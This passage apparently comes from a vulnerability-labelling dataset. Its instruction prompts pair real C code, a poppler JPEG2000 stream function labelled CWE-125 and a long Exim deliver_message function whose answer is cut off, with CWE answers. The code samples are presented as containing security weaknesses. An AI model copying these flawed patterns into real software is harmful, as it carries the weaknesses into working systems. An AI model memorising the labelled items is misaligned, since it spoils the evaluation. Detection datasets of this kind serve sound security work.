(priv->image) ? priv->image->numcomps : 1;\n int alpha = 0;\n if (priv->image) {\n if (priv->image->color_space == OPJ_CLRSPC_SRGB && numComps == 4) { numComps = 3; alpha = 1; }\n else if (priv->image->color_space == OPJ_CLRSPC_SYCC && numComps == 4) { numComps = 3; alpha = 1; }\n else if (numComps == 2) { numComps = 1; alpha = 1; }\n else if (numComps > 4) { numComps = 4; alpha = 1; }\n else { alpha = 0; }\n }\n priv->npixels = priv->image->comps[0].w * priv->image->comps[0].h;\n priv->ncomps = priv->image->numcomps;\n if (alpha == 1 && priv->smaskInData == 0) priv->ncomps--;\n for (int component = 0; component < priv->ncomps; component++) {\n if (priv->image->comps[component].data == nullptr) {\n close();\n break;\n }\n unsigned char *cdata = (unsigned char *)priv->image->comps[component].data;\n int adjust = 0;\n int depth = priv->image->comps[component].prec;\n if (priv->image->comps[component].prec > 8)\n\tadjust = priv->image->comps[component].prec - 8;\n int sgndcorr = 0;\n if (priv->image->comps[component].sgnd)\n\tsgndcorr = 1 << (priv->image->comps[0].prec - 1);\n for (int i = 0; i < priv->npixels; i++) {\n\tint r = priv->image->comps[component].data[i];\n\t*(cdata++) = adjustComp(r, adjust, depth, sgndcorr, indexed);\n }\n }\n } else {\n priv->npixels = 0;\n }\n\n priv->counter = 0;\n priv->ccounter = 0;\n priv->inited = true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'JPEG2000Stream: fail gracefully if not all components have the same WxH\n\nI think this is just a mistake, or at least the only file we have with\nthis scenario is a fuzzed one'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: deliver_message(uschar *id, BOOL forced, BOOL give_up)\n{\nint i, rc;\nint final_yield = DELIVER_ATTEMPTED_NORMAL;\ntime_t now = time(NULL);\naddress_item *addr_last = NULL;\nuschar *filter_message = NULL;\nint process_recipients = RECIP_ACCEPT;\nopen_db dbblock;\nopen_db *dbm_file;\nextern int acl_where;\n\nuschar *info = queue_run_pid == (pid_t)0\n ? string_sprintf(\"delivering %s\", id)\n : string_sprintf(\"delivering %s (queue run pid %d)\", id, queue_run_pid);\n\n/* If the D_process_info bit is on, set_process_info() will output debugging\ninformation. If not, we want to show this initial information if D_deliver or\nD_queue_run is set or in verbose mode. */\n\nset_process_info(\"%s\", info);\n\nif ( !(debug_selector & D_process_info)\n && (debug_selector & (D_deliver|D_queue_run|D_v))\n )\n debug_printf(\"%s\\n\", info);\n\n/* Ensure that we catch any subprocesses that are created. Although Exim\nsets SIG_DFL as its initial default, some routes through the code end up\nhere with it set to SIG_IGN - cases where a non-synchronous delivery process\nhas been forked, but no re-exec has been done. We use sigaction rather than\nplain signal() on those OS where SA_NOCLDWAIT exists, because we want to be\nsure it is turned off. (There was a problem on AIX with this.) */\n\n#ifdef SA_NOCLDWAIT\n {\n struct sigaction act;\n act.sa_handler = SIG_DFL;\n sigemptyset(&(act.sa_mask));\n act.sa_flags = 0;\n sigaction(SIGCHLD, &act, NULL);\n }\n#else\nsignal(SIGCHLD, SIG_DFL);\n#endif\n\n/* Make the forcing flag available for routers and transports, set up the\nglobal message id field, and initialize the count for returned files and the\nmessage size. This use of strcpy() is OK because the length id is checked when\nit is obtained from a command line (the -M or -q options), and otherwise it is\nknown to be a valid message id. */\n\nUstrcpy(message_id, id);\nf.deliver_force = forced;\nreturn_count = 0;\nmessage_size = 0;\n\n/* Initialize some flags */\n\nupdate_spool = FALSE;\nremove_journal = TRUE;\n\n/* Set a known context for any ACLs we call via expansions */\nacl_where = ACL_WHERE_DELIVERY;\n\n/* Reset the random number generator, so that if several delivery processes are\nstarted from a queue runner that has already used random numbers (for sorting),\nthey don't all get the same sequence. */\n\nrandom_seed = 0;\n\n/* Open and lock the message's data file. Exim locks on this one because the\nheader file may get replaced as it is re-written during the delivery process.\nAny failures cause messages to be written to the log, except for missing files\nwhile queue running - another process probably completed delivery. As part of\nopening the data file, message_subdir gets set. */\n\nif ((deliver_datafile = spool_open_datafile(id)) < 0)\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n\n/* The value of message_size at this point has been set to the data length,\nplus one for the blank line that notionally precedes the data. */\n\n/* Now read the contents of the header file, which will set up the headers in\nstore, and also the list of recipients and the tree of non-recipients and\nassorted flags. It updates message_size. If there is a reading or format error,\ngive up; if the message has been around for sufficiently long, remove it. */\n\n {\n uschar * spoolname = string_sprintf(\"%s-H\", id);\n if ((rc = spool_read_header(spoolname, TRUE, TRUE)) != spool_read_OK)\n {\n if (errno == ERRNO_SPOOLFORMAT)\n {\n struct stat statbuf;\n if (Ustat(spool_fname(US\"input\", message_subdir, spoolname, US\"\"),\n\t\t&statbuf) == 0)\n\tlog_write(0, LOG_MAIN, \"Format error in spool file %s: \"\n\t \"size=\" OFF_T_FMT, spoolname, statbuf.st_size);\n else\n\tlog_write(0, LOG_MAIN, \"Format error in spool file %s\", spoolname);\n }\n else\n log_write(0, LOG_MAIN, \"Error reading spool file %s: %s\", spoolname,\n\tstrerror(errno));\n\n /* If we managed to read the envelope data, received_time contains the\n time the message was received. Otherwise, we can calculate it from the\n message id. */\n\n if (rc != spool_read_hdrerror)\n {\n received_time.tv_sec = received_time.tv_usec = 0;\n /*XXX subsec precision?*/\n for (i = 0; i < 6; i++)\n\treceived_time.tv_sec = received_time.tv_sec * BASE_62 + tab62[id[i] - '0'];\n }\n\n /* If we've had this malformed message too long, sling it. */\n\n if (now - received_time.tv_sec > keep_malformed)\n {\n Uunlink(spool_fname(US\"msglog\", message_subdir, id, US\"\"));\n Uunlink(spool_fname(US\"input\", message_subdir, id, US\"-D\"));\n Uunlink(spool_fname(US\"input\", message_subdir, id, US\"-H\"));\n Uunlink(spool_fname(US\"input\", message_subdir, id, US\"-J\"));\n log_write(0, LOG_MAIN, \"Message removed because older than %s\",\n\treadconf_printtime(keep_malformed));\n }\n\n (void)close(deliver_datafile);\n deliver_datafile = -1;\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n }\n\n/* The spool header file has been read. Look to see if there is an existing\njournal file for this message. If there is, it means that a previous delivery\nattempt crashed (program or host) before it could update the spool header file.\nRead the list of delivered addresses from the journal and add them to the\nnonrecipients tree. Then update the spool file. We can leave the journal in\nexistence, as it will get further successful deliveries added to it in this\nrun, and it will be deleted if this function gets to its end successfully.\nOtherwise it might be needed again. */\n\n {\n uschar * fname = spool_fname(US\"input\", message_subdir, id, US\"-J\");\n FILE * jread;\n\n if ( (journal_fd = Uopen(fname, O_RDWR|O_APPEND\n#ifdef O_CLOEXEC\n\t\t\t\t | O_CLOEXEC\n#endif\n#ifdef O_NOFOLLOW\n\t\t\t\t | O_NOFOLLOW\n#endif\n\t, SPOOL_MODE)) >= 0\n && lseek(journal_fd, 0, SEEK_SET) == 0\n && (jread = fdopen(journal_fd, \"rb\"))\n )\n {\n while (Ufgets(big_buffer, big_buffer_size, jread))\n {\n int n = Ustrlen(big_buffer);\n big_buffer[n-1] = 0;\n tree_add_nonrecipient(big_buffer);\n DEBUG(D_deliver) debug_printf(\"Previously delivered address %s taken from \"\n\t\"journal file\\n\", big_buffer);\n }\n rewind(jread);\n if ((journal_fd = dup(fileno(jread))) < 0)\n journal_fd = fileno(jread);\n else\n (void) fclose(jread);\t/* Try to not leak the FILE resource */\n\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n }\n else if (errno != ENOENT)\n {\n log_write(0, LOG_MAIN|LOG_PANIC, \"attempt to open journal for reading gave: \"\n \"%s\", strerror(errno));\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n\n /* A null recipients list indicates some kind of disaster. */\n\n if (!recipients_list)\n {\n (void)close(deliver_datafile);\n deliver_datafile = -1;\n log_write(0, LOG_MAIN, \"Spool error: no recipients for %s\", fname);\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n }\n\n\n/* Handle a message that is frozen. There are a number of different things that\ncan happen, but in the default situation, unless forced, no delivery is\nattempted. */\n\nif (f.deliver_freeze)\n {\n#ifdef SUPPORT_MOVE_FROZEN_MESSAGES\n /* Moving to another directory removes the message from Exim's view. Other\n tools must be used to deal with it. Logging of this action happens in\n spool_move_message() and its subfunctions. */\n\n if ( move_frozen_messages\n && spool_move_message(id, message_subdir, US\"\", US\"F\")\n )\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n#endif\n\n /* For all frozen messages (bounces or not), timeout_frozen_after sets the\n maximum time to keep messages that are frozen. Thaw if we reach it, with a\n flag causing all recipients to be failed. The time is the age of the\n message, not the time since freezing. */\n\n if (timeout_frozen_after > 0 && message_age >= timeout_frozen_after)\n {\n log_write(0, LOG_MAIN, \"cancelled by timeout_frozen_after\");\n process_recipients = RECIP_FAIL_TIMEOUT;\n }\n\n /* For bounce messages (and others with no sender), thaw if the error message\n ignore timer is exceeded. The message will be discarded if this delivery\n fails. */\n\n else if (!*sender_address && message_age >= ignore_bounce_errors_after)\n log_write(0, LOG_MAIN, \"Unfrozen by errmsg timer\");\n\n /* If this is a bounce message, or there's no auto thaw, or we haven't\n reached the auto thaw time yet, and this delivery is not forced by an admin\n user, do not attempt delivery of this message. Note that forced is set for\n continuing messages down the same channel, in order to skip load checking and\n ignore hold domains, but we don't want unfreezing in that case. */\n\n else\n {\n if ( ( sender_address[0] == 0\n\t || auto_thaw <= 0\n\t || now <= deliver_frozen_at + auto_thaw\n )\n && ( !forced || !f.deliver_force_thaw\n\t || !f.admin_user || continue_hostname\n ) )\n {\n (void)close(deliver_datafile);\n deliver_datafile = -1;\n log_write(L_skip_delivery, LOG_MAIN, \"Message is frozen\");\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n\n /* If delivery was forced (by an admin user), assume a manual thaw.\n Otherwise it's an auto thaw. */\n\n if (forced)\n {\n f.deliver_manual_thaw = TRUE;\n log_write(0, LOG_MAIN, \"Unfrozen by forced delivery\");\n }\n else log_write(0, LOG_MAIN, \"Unfrozen by auto-thaw\");\n }\n\n /* We get here if any of the rules for unfreezing have triggered. */\n\n f.deliver_freeze = FALSE;\n update_spool = TRUE;\n }\n\n\n/* Open the message log file if we are using them. This records details of\ndeliveries, deferments, and failures for the benefit of the mail administrator.\nThe log is not used by exim itself to track the progress of a message; that is\ndone by rewriting the header spool file. */\n\nif (message_logs)\n {\n uschar * fname = spool_fname(US\"msglog\", message_subdir, id, US\"\");\n uschar * error;\n int fd;\n\n if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)\n {\n log_write(0, LOG_MAIN|LOG_PANIC, \"Couldn't %s message log %s: %s\", error,\n fname, strerror(errno));\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n\n /* Make a C stream out of it. */\n\n if (!(message_log = fdopen(fd, \"a\")))\n {\n log_write(0, LOG_MAIN|LOG_PANIC, \"Couldn't fdopen message log %s: %s\",\n fname, strerror(errno));\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n }\n\n\n/* If asked to give up on a message, log who did it, and set the action for all\nthe addresses. */\n\nif (give_up)\n {\n struct passwd *pw = getpwuid(real_uid);\n log_write(0, LOG_MAIN, \"cancelled by %s\",\n pw ? US pw->pw_name : string_sprintf(\"uid %ld\", (long int)real_uid));\n process_recipients = RECIP_FAIL;\n }\n\n/* Otherwise, if there are too many Received: headers, fail all recipients. */\n\nelse if (received_count > received_headers_max)\n process_recipients = RECIP_FAIL_LOOP;\n\n/* Otherwise, if a system-wide, address-independent message filter is\nspecified, run it now, except in the case when we are failing all recipients as\na result of timeout_frozen_after. If the system filter yields \"delivered\", then\nignore the true recipients of the message. Failure of the filter file is\nlogged, and the delivery attempt fails. */\n\nelse if (system_filter && process_recipients != RECIP_FAIL_TIMEOUT)\n {\n int rc;\n int filtertype;\n ugid_block ugid;\n redirect_block redirect;\n\n if (system_filter_uid_set)\n {\n ugid.uid = system_filter_uid;\n ugid.gid = system_filter_gid;\n ugid.uid_set = ugid.gid_set = TRUE;\n }\n else\n {\n ugid.uid_set = ugid.gid_set = FALSE;\n }\n\n return_path = sender_address;\n f.enable_dollar_recipients = TRUE; /* Permit $recipients in system filter */\n f.system_filtering = TRUE;\n\n /* Any error in the filter file causes a delivery to be abandoned. */\n\n redirect.string = system_filter;\n redirect.isfile = TRUE;\n redirect.check_owner = redirect.check_group = FALSE;\n redirect.owners = NULL;\n redirect.owngroups = NULL;\n redirect.pw = NULL;\n redirect.modemask = 0;\n\n DEBUG(D_deliver|D_filter) debug_printf(\"running system filter\\n\");\n\n rc = rda_interpret(\n &redirect, /* Where the data is */\n RDO_DEFER | /* Turn on all the enabling options */\n RDO_FAIL | /* Leave off all the disabling options */\n RDO_FILTER |\n RDO_FREEZE |\n RDO_REALLOG |\n RDO_REWRITE,\n NULL, /* No :include: restriction (not used in filter) */\n NULL, /* No sieve vacation directory (not sieve!) */\n NULL, /* No sieve enotify mailto owner (not sieve!) */\n NULL, /* No sieve user address (not sieve!) */\n NULL, /* No sieve subaddress (not sieve!) */\n &ugid, /* uid/gid data */\n &addr_new, /* Where to hang generated addresses */\n &filter_message, /* Where to put error message */\n NULL, /* Don't skip syntax errors */\n &filtertype, /* Will always be set to FILTER_EXIM for this call */\n US\"system filter\"); /* For error messages */\n\n DEBUG(D_deliver|D_filter) debug_printf(\"system filter returned %d\\n\", rc);\n\n if (rc == FF_ERROR || rc == FF_NONEXIST)\n {\n (void)close(deliver_datafile);\n deliver_datafile = -1;\n log_write(0, LOG_MAIN|LOG_PANIC, \"Error in system filter: %s\",\n string_printing(filter_message));\n return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */\n }\n\n /* Reset things. If the filter message is an empty string, which can happen\n for a filter \"fail\" or \"freeze\" command with no text, reset it to NULL. */\n\n f.system_filtering = FALSE;\n f.enable_dollar_recipients = FALSE;\n if (filter_message && filter_message[0] == 0) filter_message = NULL;\n\n /* Save the values of the system filter variables so that user filters\n can use them. */\n\n memcpy(filter_sn, filter_n, sizeof(filter_sn));\n\n /* The filter can request that delivery of the original addresses be\n deferred. */\n\n if (rc == FF_DEFER)\n {\n process_recipients = RECIP_DEFER;\n deliver_msglog(\"Delivery deferred by system filter\\n\");\n log_write(0, LOG_MAIN, \"Delivery deferred by system filter\");\n }\n\n /* The filter can request that a message be frozen, but this does not\n take place if the message has been manually thawed. In that case, we must\n unset \"delivered\", which is forced by the \"freeze\" command to make -bF\n work properly. */\n\n else if (rc == FF_FREEZE && !f.deliver_manual_thaw)\n {\n f.deliver_freeze = TRUE;\n deliver_frozen_at = time(NULL);\n process_recipients = RECIP_DEFER;\n frozen_info = string_sprintf(\" by the system filter%s%s\",\n filter_message ? US\": \" : US\"\",\n filter_message ? filter_message : US\"\");\n }\n\n /* The filter can request that a message be failed. The error message may be\n quite long - it is sent back to the sender in the bounce - but we don't want\n to fill up the log with repetitions of it. If it starts with << then the text\n between << and >> is written to the log, with the rest left for the bounce\n message. */\n\n else if (rc == FF_FAIL)\n {\n uschar *colon = US\"\";\n uschar *logmsg = US\"\";\n int loglen = 0;\n\n process_recipients = RECIP_FAIL_FILTER;\n\n if (filter_message)\n {\n uschar *logend;\n colon = US\": \";\n if ( filter_message[0] == '<'\n && filter_message[1] == '<'\n\t && (logend = Ustrstr(filter_message, \">>\"))\n\t )\n {\n logmsg = filter_message + 2;\n loglen = logend - logmsg;\n filter_message = logend + 2;\n if (filter_message[0] == 0) filter_message = NULL;\n }\n else\n {\n logmsg = filter_message;\n loglen = Ustrlen(filter_message);\n }\n }\n\n log_write(0, LOG_MAIN, \"cancelled by system filter%s%.*s\", colon, loglen,\n logmsg);\n }\n\n /* Delivery can be restricted only to those recipients (if any) that the\n filter specified. */\n\n else if (rc == FF_DELIVERED)\n {\n process_recipients = RECIP_IGNORE;\n if (addr_new)\n log_write(0, LOG_MAIN, \"original recipients ignored (system filter)\");\n else\n log_write(0, LOG_MAIN, \"=> discarded (system filter)\");\n }\n\n /* If any new addresses were created by the filter, fake up a \"parent\"\n for them. This is necessary for pipes, etc., which are expected to have\n parents, and it also gives some sensible logging for others. Allow\n pipes, files, and autoreplies, and run them as the filter uid if set,\n otherwise as the current uid. */\n\n if (addr_new)\n {\n int uid = (system_filter_uid_set)? system_filter_uid : geteuid();\n int gid = (system_filter_gid_set)? system_filter_gid : getegid();\n\n /* The text \"system-filter\" is tested in transport_set_up_command() and in\n set_up_shell_command() in the pipe transport, to enable them to permit\n $recipients, so don't change it here without also changing it there. */\n\n address_item *p = addr_new;\n address_item *parent = deliver_make_addr(US\"system-filter\", FALSE);\n\n parent->domain = string_copylc(qualify_domain_recipient);\n parent->local_part = US\"system-filter\";\n\n /* As part of this loop, we arrange for addr_last to end up pointing\n at the final address. This is used if we go on to add addresses for the\n original recipients. */\n\n while (p)\n {\n if (parent->child_count == USHRT_MAX)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"system filter generated more \"\n \"than %d delivery addresses\", USHRT_MAX);\n parent->child_count++;\n p->parent = parent;\n\n if (testflag(p, af_pfr))\n {\n uschar *tpname;\n uschar *type;\n p->uid = uid;\n p->gid = gid;\n setflag(p, af_uid_set);\n setflag(p, af_gid_set);\n setflag(p, af_allow_file);\n setflag(p, af_allow_pipe);\n setflag(p, af_allow_reply);\n\n /* Find the name of the system filter's appropriate pfr transport */\n\n if (p->address[0] == '|')\n {\n type = US\"pipe\";\n tpname = system_filter_pipe_transport;\n address_pipe = p->address;\n }\n else if (p->address[0] == '>')\n {\n type = US\"reply\";\n tpname = system_filter_reply_transport;\n }\n else\n {\n if (p->address[Ustrlen(p->address)-1] == '/')\n {\n type = US\"directory\";\n tpname = system_filter_directory_transport;\n }\n else\n {\n type = US\"file\";\n tpname = system_filter_file_transport;\n }\n address_file = p->address;\n }\n\n /* Now find the actual transport, first expanding the name. We have\n set address_file or address_pipe above. */\n\n if (tpname)\n {\n uschar *tmp = expand_string(tpname);\n address_file = address_pipe = NULL;\n if (!tmp)\n p->message = string_sprintf(\"failed to expand \\\"%s\\\" as a \"\n \"system filter transport name\", tpname);\n tpname = tmp;\n }\n else\n p->message = string_sprintf(\"system_filter_%s_transport is unset\",\n type);\n\n if (tpname)\n {\n transport_instance *tp;\n for (tp = transports; tp; tp = tp->next)\n if (Ustrcmp(tp->name, tpname) == 0)\n {\n p->transport = tp;\n break;\n }\n if (!tp)\n p->message = string_sprintf(\"failed to find \\\"%s\\\" transport \"\n \"for system filter delivery\", tpname);\n }\n\n /* If we couldn't set up a transport, defer the delivery, putting the\n error on the panic log as well as the main log. */\n\n if (!p->transport)\n {\n address_item *badp = p;\n p = p->next;\n if (!addr_last) addr_new = p; else addr_last->next = p;\n badp->local_part = badp->address; /* Needed for log line */\n post_process_one(badp, DEFER, LOG_MAIN|LOG_PANIC, EXIM_DTYPE_ROUTER, 0);\n continue;\n }\n } /* End of pfr handling */\n\n /* Either a non-pfr delivery, or we found a transport */\n\n DEBUG(D_deliver|D_filter)\n debug_printf(\"system filter added %s\\n\", p->address);\n\n addr_last = p;\n p = p->next;\n } /* Loop through all addr_new addresses */\n }\n }\n\n\n/* Scan the recipients list, and for every one that is not in the non-\nrecipients tree, add an addr item to the chain of new addresses. If the pno\nvalue is non-negative, we must set the onetime parent from it. This which\npoints to the relevant entry in the recipients list.\n\nThis processing can be altered by the setting of the process_recipients\nvariable, which is changed if recipients are to be ignored, failed, or\ndeferred. This can happen as a result of system filter activity, or if the -Mg\noption is used to fail all of them.\n\nDuplicate addresses are handled later by a different tree structure; we can't\njust extend the non-recipients tree, because that will be re-written to the\nspool if the message is deferred, and in any case there are casing\ncomplications for local addresses. */\n\nif (process_recipients != RECIP_IGNORE)\n for (i = 0; i < recipients_count; i++)\n if (!tree_search(tree_nonrecipients, recipients_list[i].address))\n {\n recipient_item *r = recipients_list + i;\n address_item *new = deliver_make_addr(r->address, FALSE);\n new->prop.errors_address = r->errors_to;\n#ifdef SUPPORT_I18N\n if ((new->prop.utf8_msg = message_smtputf8))\n\t{\n\tnew->prop.utf8_downcvt = message_utf8_downconvert == 1;\n\tnew->prop.utf8_downcvt_maybe = message_utf8_downconvert == -1;\n\tDEBUG(D_deliver) debug_printf(\"utf8, downconvert %s\\n\",\n\t new->prop.utf8_downcvt ? \"yes\"\n\t : new->prop.utf8_downcvt_maybe ? \"ifneeded\"\n\t : \"no\");\n\t}\n#endif\n\n if (r->pno >= 0)\n new->onetime_parent = recipients_list[r->pno].address;\n\n /* If DSN support is enabled, set the dsn flags and the original receipt\n to be passed on to other DSN enabled MTAs */\n new->dsn_flags = r->dsn_flags & rf_dsnflags;\n new->dsn_orcpt = r->orcpt;\n DEBUG(D_deliver) debug_printf(\"DSN: set orcpt: %s flags: %d\\n\",\n\tnew->dsn_orcpt ? new->dsn_orcpt : US\"\", new->dsn_flags);\n\n switch (process_recipients)\n {\n /* RECIP_DEFER is set when a system filter freezes a message. */\n\n case RECIP_DEFER:\n\t new->next = addr_defer;\n\t addr_defer = new;\n\t break;\n\n\n /* RECIP_FAIL_FILTER is set when a system filter has obeyed a \"fail\"\n command. */\n\n case RECIP_FAIL_FILTER:\n\t new->message =\n\t filter_message ? filter_message : US\"delivery cancelled\";\n\t setflag(new, af_pass_message);\n\t goto RECIP_QUEUE_FAILED; /* below */\n\n\n /* RECIP_FAIL_TIMEOUT is set when a message is frozen, but is older\n than the value in timeout_frozen_after. Treat non-bounce messages\n similarly to -Mg; for bounce messages we just want to discard, so\n don't put the address on the failed list. The timeout has already\n been logged. */\n\n case RECIP_FAIL_TIMEOUT:\n\t new->message = US\"delivery cancelled; message timed out\";\n\t goto RECIP_QUEUE_FAILED; /* below */\n\n\n /* RECIP_FAIL is set when -Mg has been used. */\n\n case RECIP_FAIL:\n\t new->message = US\"delivery cancelled by administrator\";\n\t /* Fall through */\n\n /* Common code for the failure cases above. If this is not a bounce\n message, put the address on the failed list so that it is used to\n create a bounce. Otherwise do nothing - this just discards the address.\n The incident has already been logged. */\n\n RECIP_QUEUE_FAILED:\n\t if (sender_address[0])\n\t {\n\t new->next = addr_failed;\n\t addr_failed = new;\n\t }\n break;\n\n\n /* RECIP_FAIL_LOOP is set when there are too many Received: headers\n in the message. Process each address as a routing failure; if this\n is a bounce message, it will get frozen. */\n\n case RECIP_FAIL_LOOP:\n\t new->message = US\"Too many \\\"Received\\\" headers - suspected mail loop\";\n\t post_process_one(new, FAIL, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n\t break;\n\n\n /* Value should be RECIP_ACCEPT; take this as the safe default. */\n\n default:\n\t if (!addr_new) addr_new = new; else addr_last->next = new;\n\t addr_last = new;\n\t break;\n }\n\n#ifndef DISABLE_EVENT\n if (process_recipients != RECIP_ACCEPT)\n\t{\n\tuschar * save_local = deliver_localpart;\n\tconst uschar * save_domain = deliver_domain;\n\n\tdeliver_localpart = expand_string(\n\t\t string_sprintf(\"${local_part:%s}\", new->address));\n\tdeliver_domain = expand_string(\n\t\t string_sprintf(\"${domain:%s}\", new->address));\n\n\t(void) event_raise(event_action,\n\t\t US\"msg:fail:internal\", new->message);\n\n\tdeliver_localpart = save_local;\n\tdeliver_domain = save_domain;\n\t}\n#endif\n }\n\nDEBUG(D_deliver)\n {\n address_item *p;\n debug_printf(\"Delivery address list:\\n\");\n for (p = addr_new; p; p = p->next)\n debug_printf(\" %s %s\\n\", p->address,\n p->onetime_parent ? p->onetime_parent : US\"\");\n }\n\n/* Set up the buffers used for copying over the file when delivering. */\n\ndeliver_in_buffer = store_malloc(DELIVER_IN_BUFFER_SIZE);\ndeliver_out_buffer = store_malloc(DELIVER_OUT_BUFFER_SIZE);\n\n\n\n/* Until there are no more new addresses, handle each one as follows:\n\n . If this is a generated address (indicated by the presence of a parent\n pointer) then check to see whether it is a pipe, file, or autoreply, and\n if so, handle it directly here. The router that produced the address will\n have set the allow flags into the address, and also set the uid/gid required.\n Having the routers generate new addresses and then checking them here at\n the outer level is tidier than making each router do the checking, and\n means that routers don't need access to the failed address queue.\n\n . Break up the address into local part and domain, and make lowercased\n versions of these strings. We also make unquoted versions of the local part.\n\n . Handle the percent hack for those domains for which it is valid.\n\n . For child addresses, determine if any of the parents have the same address.\n If so, generate a different string for previous delivery checking. Without\n this code, if the address spqr generates spqr via a forward or alias file,\n delivery of the generated spqr stops further attempts at the top level spqr,\n which is not what is wanted - it may have generated other addresses.\n\n . Check on the retry database to see if routing was previously deferred, but\n only if in a queue run. Addresses that are to be routed are put on the\n addr_route chain. Addresses that are to be deferred are put on the\n addr_defer chain. We do all the checking first, so as not to keep the\n retry database open any longer than necessary.\n\n . Now we run the addresses through the routers. A router may put the address\n on either the addr_local or the addr_remote chain for local or remote\n delivery, respectively, or put it on the addr_failed chain if it is\n undeliveable, or it may generate child addresses and put them on the\n addr_new chain, or it may defer an address. All the chain anchors are\n passed as arguments so that the routers can be called for verification\n purposes as well.\n\n . If new addresses have been generated by the routers, da capo.\n*/\n\nf.header_rewritten = FALSE; /* No headers rewritten yet */\nwhile (addr_new) /* Loop until all addresses dealt with */\n {\n address_item *addr, *parent;\n\n /* Failure to open the retry database is treated the same as if it does\n not exist. In both cases, dbm_file is NULL. */\n\n if (!(dbm_file = dbfn_open(US\"retry\", O_RDONLY, &dbblock, FALSE)))\n DEBUG(D_deliver|D_retry|D_route|D_hints_lookup)\n debug_printf(\"no retry data available\\n\");\n\n /* Scan the current batch of new addresses, to handle pipes, files and\n autoreplies, and determine which others are ready for routing. */\n\n while (addr_new)\n {\n int rc;\n uschar *p;\n tree_node *tnode;\n dbdata_retry *domain_retry_record;\n dbdata_retry *address_retry_record;\n\n addr = addr_new;\n addr_new = addr->next;\n\n DEBUG(D_deliver|D_retry|D_route)\n {\n debug_printf(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\\n\");\n debug_printf(\"Considering: %s\\n\", addr->address);\n }\n\n /* Handle generated address that is a pipe or a file or an autoreply. */\n\n if (testflag(addr, af_pfr))\n {\n /* If an autoreply in a filter could not generate a syntactically valid\n address, give up forthwith. Set af_ignore_error so that we don't try to\n generate a bounce. */\n\n if (testflag(addr, af_bad_reply))\n {\n addr->basic_errno = ERRNO_BADADDRESS2;\n addr->local_part = addr->address;\n addr->message =\n US\"filter autoreply generated syntactically invalid recipient\";\n addr->prop.ignore_error = TRUE;\n (void) post_process_one(addr, FAIL, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue; /* with the next new address */\n }\n\n /* If two different users specify delivery to the same pipe or file or\n autoreply, there should be two different deliveries, so build a unique\n string that incorporates the original address, and use this for\n duplicate testing and recording delivery, and also for retrying. */\n\n addr->unique =\n string_sprintf(\"%s:%s\", addr->address, addr->parent->unique +\n (testflag(addr->parent, af_homonym)? 3:0));\n\n addr->address_retry_key = addr->domain_retry_key =\n string_sprintf(\"T:%s\", addr->unique);\n\n /* If a filter file specifies two deliveries to the same pipe or file,\n we want to de-duplicate, but this is probably not wanted for two mail\n commands to the same address, where probably both should be delivered.\n So, we have to invent a different unique string in that case. Just\n keep piling '>' characters on the front. */\n\n if (addr->address[0] == '>')\n {\n while (tree_search(tree_duplicates, addr->unique))\n addr->unique = string_sprintf(\">%s\", addr->unique);\n }\n\n else if ((tnode = tree_search(tree_duplicates, addr->unique)))\n {\n DEBUG(D_deliver|D_route)\n debug_printf(\"%s is a duplicate address: discarded\\n\", addr->address);\n addr->dupof = tnode->data.ptr;\n addr->next = addr_duplicate;\n addr_duplicate = addr;\n continue;\n }\n\n DEBUG(D_deliver|D_route) debug_printf(\"unique = %s\\n\", addr->unique);\n\n /* Check for previous delivery */\n\n if (tree_search(tree_nonrecipients, addr->unique))\n {\n DEBUG(D_deliver|D_route)\n debug_printf(\"%s was previously delivered: discarded\\n\", addr->address);\n child_done(addr, tod_stamp(tod_log));\n continue;\n }\n\n /* Save for checking future duplicates */\n\n tree_add_duplicate(addr->unique, addr);\n\n /* Set local part and domain */\n\n addr->local_part = addr->address;\n addr->domain = addr->parent->domain;\n\n /* Ensure that the delivery is permitted. */\n\n if (testflag(addr, af_file))\n {\n if (!testflag(addr, af_allow_file))\n {\n addr->basic_errno = ERRNO_FORBIDFILE;\n addr->message = US\"delivery to file forbidden\";\n (void)post_process_one(addr, FAIL, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue; /* with the next new address */\n }\n }\n else if (addr->address[0] == '|')\n {\n if (!testflag(addr, af_allow_pipe))\n {\n addr->basic_errno = ERRNO_FORBIDPIPE;\n addr->message = US\"delivery to pipe forbidden\";\n (void)post_process_one(addr, FAIL, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue; /* with the next new address */\n }\n }\n else if (!testflag(addr, af_allow_reply))\n {\n addr->basic_errno = ERRNO_FORBIDREPLY;\n addr->message = US\"autoreply forbidden\";\n (void)post_process_one(addr, FAIL, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue; /* with the next new address */\n }\n\n /* If the errno field is already set to BADTRANSPORT, it indicates\n failure to expand a transport string, or find the associated transport,\n or an unset transport when one is required. Leave this test till now so\n that the forbid errors are given in preference. */\n\n if (addr->basic_errno == ERRNO_BADTRANSPORT)\n {\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue;\n }\n\n /* Treat /dev/null as a special case and abandon the delivery. This\n avoids having to specify a uid on the transport just for this case.\n Arrange for the transport name to be logged as \"**bypassed**\". */\n\n if (Ustrcmp(addr->address, \"/dev/null\") == 0)\n {\n uschar *save = 